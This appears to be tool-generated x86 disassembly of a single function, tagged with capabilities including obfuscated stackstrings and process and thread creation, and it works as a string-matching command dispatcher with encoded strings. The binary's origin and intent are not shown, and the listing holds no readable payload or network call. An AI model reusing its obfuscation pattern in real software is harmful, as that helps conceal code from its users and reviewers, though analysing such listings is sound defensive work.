Function at 0x51e860
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57764f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x2a0
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x48], 0
push edi
mov edx, 0x5b4778
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x38], esi
call fcn.00440e60
mov edi, dword [ebx + 8]
mov edx, eax
test edi, edi
je 0x51e8f3
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e8c3
sub ecx, dword [ebp - 0x24]
je 0x51e8f3
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e8f3
cmp dword [edx + 0x14], 0x10
jb 0x51e8de
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e8fa
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e92e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e924
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522209
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51e946
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x5221f1
mov edx, 0x5b4790
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51e991
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e961
sub ecx, dword [ebp - 0x24]
je 0x51e991
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51e991
cmp dword [edx + 0x14], 0x10
jb 0x51e97c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51e998
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51e9cc
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51e9c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52220e
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51efc1
mov edx, 0x5b4808
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51ea21
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51e9f1
sub ecx, dword [ebp - 0x24]
je 0x51ea21
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ea21
cmp dword [edx + 0x14], 0x10
jb 0x51ea0c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ea28
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ea5c
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522213
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51f064
mov edx, 0x5b47f0
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51eab1
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ea81
sub ecx, dword [ebp - 0x24]
je 0x51eab1
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51eab1
cmp dword [edx + 0x14], 0x10
jb 0x51ea9c
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51eab8
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51eaec
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51eae2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522218
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51eba0
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.004298d0
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
mov ecx, esi
call fcn.00440f90
add esp, 0x18
mov ecx, edi
call fcn.0045b6a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5221f1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51eb91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52224a
push ecx
push edx
call fcn.00544be1
add esp, 8
jmp 0x5221f1
mov edx, 0x5b4820
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51ebf0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ebc0
sub ecx, dword [ebp - 0x24]
je 0x51ebf0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ebf0
cmp dword [edx + 0x14], 0x10
jb 0x51ebdb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ebf7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ec2b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ec21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52221d
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ecdf
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.004298d0
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
mov ecx, esi
call fcn.00440f90
add esp, 0x18
mov ecx, edi
call fcn.0045b6a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5221f1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51ecd0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52224a
push ecx
push edx
call fcn.00544be1
add esp, 8
jmp 0x5221f1
mov edx, 0x5b4838
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51ed30
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ed00
sub ecx, dword [ebp - 0x24]
je 0x51ed30
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ed30
cmp dword [edx + 0x14], 0x10
jb 0x51ed1b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ed37
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ed6b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ed61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522222
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51ed80
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041aa10
jmp 0x5221f1
mov edx, 0x5b4970
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51edd0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51eda0
sub ecx, dword [ebp - 0x24]
je 0x51edd0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51edd0
cmp dword [edx + 0x14], 0x10
jb 0x51edbb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51edd7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ee0b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ee01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522227
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51f375
mov edx, 0x5b4988
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51ee60
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ee30
sub ecx, dword [ebp - 0x24]
je 0x51ee60
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ee60
cmp dword [edx + 0x14], 0x10
jb 0x51ee4b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ee67
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ee9b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ee91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52222c
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51f411
mov edx, 0x5b4a60
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51eef0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51eec0
sub ecx, dword [ebp - 0x24]
je 0x51eef0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51eef0
cmp dword [edx + 0x14], 0x10
jb 0x51eedb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51eef7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51ef2b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ef21
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522231
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x51f4b1
mov edx, 0x5b4790
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51ef80
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51ef50
sub ecx, dword [ebp - 0x24]
je 0x51ef80
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51ef80
cmp dword [edx + 0x14], 0x10
jb 0x51ef6b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51ef87
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51efbb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51efb1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522236
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51efd8
mov eax, dword [esi + 0xc]
mov byte [eax + 0x10a], 1
mov ecx, dword [esi + 0xc]
call fcn.0041b3e0
jmp 0x5221f1
mov edx, 0x5b4808
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f023
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51eff3
sub ecx, dword [ebp - 0x24]
je 0x51f023
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f023
cmp dword [edx + 0x14], 0x10
jb 0x51f00e
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f02a
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f05e
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f054
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52223b
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f073
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041aa10
jmp 0x5221f1
mov edx, 0x5b47f0
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f0c0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f090
sub ecx, dword [ebp - 0x24]
je 0x51f0c0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f0c0
cmp dword [edx + 0x14], 0x10
jb 0x51f0ab
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f0c7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f0fb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f0f1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522240
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f1af
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IHFjcnJnbGVxIHt7
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.004298d0
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
mov ecx, esi
call fcn.00440f90
add esp, 0x18
mov ecx, edi
call fcn.0045b6a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5221f1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51f1a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52224a
push ecx
push edx
call fcn.00544be1
add esp, 8
jmp 0x5221f1
mov edx, 0x5b4820
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f200
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f1d0
sub ecx, dword [ebp - 0x24]
je 0x51f200
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f200
cmp dword [edx + 0x14], 0x10
jb 0x51f1eb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f207
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f23b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f231
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522245
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f2e9
push 0x2c
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.eSBfbm4gHjgeeSBxZm11XXVnbGJtdSA4IGtfZ2wge3s
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.004298d0
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042a1c0
mov ecx, esi
call fcn.00440f90
add esp, 0x18
mov ecx, edi
call fcn.0045b6a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x5221f1
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51f1a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52224a
jmp 0x51f1a0
mov edx, 0x5b4970
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f334
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f304
sub ecx, dword [ebp - 0x24]
je 0x51f334
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f334
cmp dword [edx + 0x14], 0x10
jb 0x51f31f
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f33b
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f36f
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f365
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52224f
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f382
mov ecx, dword [esi + 0xc]
call fcn.004063b0
jmp 0x5221f1
mov edx, 0x5b4988
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f3d0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f3a0
sub ecx, dword [ebp - 0x24]
je 0x51f3d0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f3d0
cmp dword [edx + 0x14], 0x10
jb 0x51f3bb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f3d7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f40b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f401
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522254
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f41e
mov ecx, dword [esi + 0xc]
call fcn.00406690
jmp 0x5221f1
mov edx, 0x5b4a60
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f470
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f440
sub ecx, dword [ebp - 0x24]
je 0x51f470
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f470
cmp dword [edx + 0x14], 0x10
jb 0x51f45b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f477
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f4ab
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f4a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522259
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f4be
mov ecx, dword [esi + 0xc]
call fcn.0041b7b0
jmp 0x5221f1
mov edx, 0x5b4850
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f510
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f4e0
sub ecx, dword [ebp - 0x24]
je 0x51f510
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f510
cmp dword [edx + 0x14], 0x10
jb 0x51f4fb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f517
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f54b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f541
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52225e
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f560
mov ecx, dword [esi + 0xc]
push 1
call fcn.00407470
jmp 0x5221f1
mov edx, 0x5b4868
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f5b0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f580
sub ecx, dword [ebp - 0x24]
je 0x51f5b0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f5b0
cmp dword [edx + 0x14], 0x10
jb 0x51f59b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f5b7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f5eb
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f5e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522263
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f600
mov ecx, dword [esi + 0xc]
push 0
call fcn.00407470
jmp 0x5221f1
mov edx, 0x5b4880
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f64a
mov ecx, edi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f618
sub ecx, esi
je 0x51f64a
mov esi, dword [edx + 0x10]
test esi, esi
je 0x51f64a
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x64], esi
jb 0x51f635
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f654
mov esi, dword [ebp - 0x64]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f688
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f67e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522268
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f77b
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f6c3
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00522700
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x24], eax
call fcn.00549cbd
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x48]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0054b5ee
add esp, 0x14
cmp esi, dword [ebp - 0x48]
je 0x52226d
cmp dword [edi], 0x22
je 0x522277
mov ecx, dword [ebp - 0x24]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00407750
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x5221f1
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f1a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522281
jmp 0x51f1a0
mov edx, 0x5b4730
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f7cb
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f796
sub ecx, dword [ebp - 0x24]
je 0x51f7cb
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f7cb
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51f7b6
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f7d2
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f806
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f7fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522286
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51f912
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f841
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00522700
add esp, 8
lea ecx, [ebp - 0x1b8]
call fcn.004309a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
